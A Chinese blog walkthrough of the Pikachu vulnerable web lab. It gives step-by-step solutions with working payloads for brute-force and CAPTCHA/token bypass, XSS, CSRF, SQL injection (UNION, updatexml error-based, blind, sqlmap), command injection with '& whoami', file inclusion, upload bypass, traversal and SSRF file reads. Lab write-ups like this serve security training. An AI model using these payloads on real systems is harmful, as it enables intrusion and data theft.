打开APP
userphoto
未登录

开通VIP,畅享免费电子书等14项超值服

开通VIP
pikachu靶场通关记录
userphoto

2022.08.27 广东

关注

暴力破解

基于表单的暴力破解

看到登录表单,先随便输入用Burpsuite抓包试试

看到数据包中账号密码

试试进行暴力破解

把数据包大送到intruder模块,选择Cluster bomb

分别选择账号和密码的爆破字典

开始爆破

发现账号admin 密码123456返回长度和其它都不一样

试着登录,登录成功

验证码绕过(on server)

还是先抓包

先发送到repeater,看一下回显

验证码不正确会显示验证码不正确

当把验证码去掉后显示验证码不能为空,证明是后端验证

当输入正确验证码,不正确账号密码时,会显示账号或密码不存在

再次换账号密码提交发现,验证码还可用

得知验证码不具有有效期,只要不更换图片都一直可用

直接固定验证码进行暴力破解账号和密码

发送到intruder模块

选择字典后进行爆破

破解成功

验证码绕过(on client)

还是输入抓包

发现弹窗显示验证码错误,没有发送数据包,证明是前端验证

输入正确验证码进行抓包

成功抓包

发送到repeater模块看看回显

发现每次提交之后验证码就换了,但是不影响我们提交,因为是前端验证,抓包已经绕过

发送到intruder模块暴力破解

破解成功

token防爆破?

还是先抓包

发送到repeater模块看回显

改一下token再看回显

发现token不正确,数据包无效

再次提交看回显

发现再次提交token已经无效,每次提交都会更换token

页面检查发现一个hidden属性的input,里面记录着token

发现token值发送到了前端中,可以被获取

将数据包发送到intruder模块进行爆破

选择pitchfork类型

将用户名,密码,token都设置为变量

找到options中的Grep-Extract模块

点击添加add,找到token值

在options中找到Redirections选择Always

设置线程为1

然后第一个参数和第二个参数分别导入账号和密码的字典

第三个参数选择Recursive grep,选择刚才筛选的Recursive grep,然后填入抓包时的token

开始爆破

爆破成功

Cross-Site Scripting

反射型XSS(get)

先随便输入看看回显

查看源代码发现我们输入的直接输出到

标签中

输入弹窗代码看是否存在xss

发现输入框限制长度,修改前端代码修改限制长度

也可以直接修改url中参数

反射型XSS(post)

先抓包

发送到repeater模块

爆破获得账号admin密码123456

登录

先随便输入看输出

发现没经过滤直接将输入输出到

标签内

输入框输入弹窗代码,也可以通过抓包修改

每次弹完窗之后就不在出现弹窗,所以代码没有储存到服务端,不是存储型

存储型XSS

随便输入看看回显

发现输入直接被输出到

标签内

输入弹窗代码

每次进入页面都会弹窗,因为代码被储存到了服务器上,为存储型XSS

DOM型XSS

先输入看回显

查看源代码

要闭合<a herf> 标签

DOM型XSS-x

和DOM型XSS一样,只不过这个是存储型的DOM型XSS

XSS之盲打

后台地址 http://ip/pikachu/vul/xss/xssblind/admin_login.php

XSS之过滤

先输入查看回显

查看源码,发现是将输入经过过滤输出到

标签中

发现 被过滤

可以构造其它代码弹窗

XSS之htmlspecialchars

随便输入查看回显

查看源代码

发现双引号、都被编码转义

可以通过为协议javascript触发

XSS之herf输出

先随便输入看回显

查看源代码

发现只要闭合a herf就可以

发现双引号被转义

可以直接通过javascript伪协议绕过

XSS之js输出

先乱输入查看回显

查看源代码

没有思路查看提示

输入tmac

查看源代码

输入被放在JS内了,所以我们要闭合javascript

CSRF

CSRF(get)

抓包

192.168.48.130/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18626545453&add=chain&email=vince%40pikachu.com&submit=submit

现在直接通过访问链接更换性别

192.168.48.130/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=18626545453&add=chain&email=vince%40pikachu.com&submit=submit

访问后

CSRF(post)

还是先抓包

改回boy

CSRF Token

token被发送到了前端源码中,可以凑够源码中获取到

和之前的暴力破解单元中token防爆破利用方式相同

SQL-Inject

数字型注入(post)

抓包

发送到repeater模块

and 1=1 回显正常

and 1=2 回显错误

说明存在注入

查询字段数

order by 2回显正常,order by 3报错,证明有两个字段

查询回显位

id=1 union select 1,2

查询数据库、用户

id=1 and 1=2 union select database(),user()

查询数据库版本和操作系统

id=1 and 1=2 union select version(),@@version_compile_os

查询表名

id=1 and 1=2 union select 1,concat(table_name) from information_schema.tables where table_schema = 'pikachu'

查询列名

id=1 and 1=2 union select 1,concat(column_name) from information_schema.columns where table_schema = 'pikachu'and table_name='users'

查询数据

id=1 and 1=2 union select username,password from users

字符型注入

输入一个正常用户名回显正常

and 1=1回显不正常,证明可能存在字符型注入

' and 1=1 --+ 回显正常

' and 1=2 --+ 回显错误

说明存在字符型注入,用单引号闭合

接下来的步骤和上一关数字型注入一样

搜索型注入

搜索型注入只是比字符型注入多了%闭合,接下来的步骤都是一样的

XX型注入

XX型注入只是闭合的符号是'),接下来的步骤都一样

insert/update型注入

加上单引号证明报错存在注入

利用报错注入

updatexml(xml_document,xpath_string,new_value)

xml_document是string格式,为xml文档对象的名称 第二个参数:xpath_string是xpath格式的字符串

第二个参数是要求符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里,因此可以利用。

phonenum=18626545453' and UpdateXML(1,concat(0x7e,payload),0) --+

phonenum=18626545453' and UpdateXML(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) --+

查询步骤和之前的都一样,将查询语句带入替换语句中的payload即可

delete注入

删除进行抓包

发送到Repeater模块

加单引号报错说明存在注入

id=62+and+UpdateXML(1,concat(0x7e,payload),0)

id=62+and+UpdateXML(1,concat(0x7e,database()),0)

之后的步骤和之前的注入一样

http header 注入

登录查看回显

抓包查看

在user-agent后加单引号,报错说明存在注入

' and UpdateXML(1,concat(0x7e,payload),0) and'

' and UpdateXML(1,concat(0x7e,database()),0) and'

盲注(base on boolian)

加单引号查询报错,说明存在注入

查询字段数为2

这里盲注靶场做的不严谨,和之前有会显的注入用的是一个页面,有回显

我们假设这里不能够回显,进行盲注

name=vince' and length(database())=7 --+

name=vince' and ascii(substr(database(),1,1))=112 --+

证明存在布尔盲注

接下来上工具爆破,sqlmap、burpsuite都可以,也可以是自己写的工具

我这里用sqlmap

python sqlmap.py -u 'http://192.168.48.131/pikachu/vul/sqli/sqli_blind_b.php?submit=%E6%9F%A5%E8%AF%A2&name=vince' --dbms=mysql --batch --level=5

--tables爆表名

--columns爆列名

--dump爆数据

盲注(base on time)

先测试是否存在时间盲注

name=vince' and sleep(5) --+

出现长时间延迟说明存在时间盲注

存在时间盲注

name=vince' and if(length(database())=7,sleep(5),1) --+

name=vince' and if(ascii(substr(database(),1,1))=112,sleep(5),1) --+

正确则发生延迟,错误则不延迟

接下来用工具sqlmap,和之前布尔盲注的用法一样,这里就不展示了

宽字节注入

进行抓包

发送到repeater模块

name=vince %df' union select 1,2 --+

存在宽字节注入

接下来的步骤和之前一样

RCE

exec'ping'

我们可以尝试通过 &、&&、|、||、; 等符号拼接执行的命令

利用&同时执行其它命令

www.baidu.com & whoami

exec'eval'

后台使用了eval,并且没有做过滤,可以执行任意命令

phpinfo();

File Inclusion

File Inclusion(local)

http://192.168.48.131/pikachu/vul/fileinclude/fi_local.php?filename=file1.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

看到包含引用的文件名在url中直接传值

试着把文件名换成一些其它本地文件

?filename=../../../index.php

File Inclusion(remote)

提示远程包含没有开启,修改php.ini开启

将off改为On,然后重启服务

将包含参数改为远程文件

?filename=http://192.168.48.131/pikachu/index.php

实战中可以直接包含远程木马文件

Unsafe Filedownload

进行抓包

将文件名改为其它文件试试

下载成功

Unsafe Fileupload

client check

先上传正常图片文件

上传成功

接下来试试上传可执行文件

发现有弹窗,证明存在前端验证

抓包绕过前端验证

将可执行文件后缀名改为jpg

上传时抓包再改回可执行文件

上传成功

MIME type

抓包将Content-Type改为允许的图片类型

上传成功

getimagesize

上传可执行文件,将content-type改为图片

显示后缀名为空,说明服务器将不为规定的三种图片后缀的后缀名都过滤删除了

将后缀名改为jpeg

显示上传的是假图片,说明对文件内容进行了检测

在文件中加上图片文件头

发现还是被检测出来,说明不光对文件内容头进行了检测

上传图片马试试

上传成功

Over Permission

水平越权

先用一个普通用户登录试试

查看个人信息

抓包

将用户名改为其它用户的用户名试试

可以查看别人的信息

垂直越权

用pikachu登录

添加用户,抓包,发送到repeater模块

然后将刚才的抓到的包放出去

添加用户成功

接下来退出登录

repeater再次发送添加用户的数据包

添加用户失败,因为需要登录

用普通用户pikachu登录

将cookie换成普通用户的,再次repeater发送添加用户数据包

用户创建成功

目录遍历

http://192.168.48.131/pikachu/vul/dir/dir_list.php?title=jarheads.php

http://192.168.48.131/pikachu/vul/dir/dir_list.php?title=truman.php

将title改为通过../改为其它目录下文件,发现可以读出文件

http://192.168.48.131/pikachu/vul/dir/dir_list.php?title=../../../README.md

敏感信息泄露

打开网页查看源代码发现有测试账号泄露

PHP反序列化

构造php序列化payload

O:1:'S':1:{s:4:'test';s:29:'';}

XXE

构造xxe payload

]>

&xxe;

URL重定向

第一个链接和第二个链接都是和当前页面一样

第三个链接是概述

第四个链接

http://192.168.48.131/pikachu/vul/urlredirect/urlredirect.php?url=i

试着将url改成其它链接试试

192.168.48.131/pikachu/vul/urlredirect/urlredirect.php?url=https://www.baidu.com/

跳转到百度

SSRF

SSRF(curl)

点击链接

http://192.168.48.131/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php

试着把url请求的文件链接改为其它

探测端口开放

http://192.168.48.131/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1:3306

SSRF(file_get_content)

http://192.168.48.131/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info2.php

file_get_content 可以对本地和远程的文件进行读取

http://192.168.48.131/pikachu/vul/ssrf/ssrf_fgc.php?file=file:///c:/windows/win.ini

本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请点击举报
打开APP,阅读全文并永久保存 查看更多类似文章
猜你喜欢
类似文章
【热】打开小程序,算一算2024你的财运
Pikachu漏洞靶场通关指南(全15关)
渗透测试面试问题2019版,内含大量渗透技巧
2021最新渗透测试面试题合集!
开源PHPCMS的0day漏洞挖掘及防范笔记
渗透测试以及安全面试的经验之谈
编写安全 PHP 应用程序的七个习惯
更多类似文章 >>
生活服务
热点新闻
分享 收藏 导长图 关注 下载文章
绑定账号成功
后续可登录账号畅享VIP特权!
如果VIP功能使用有故障,
可点击这里联系客服!

联系客服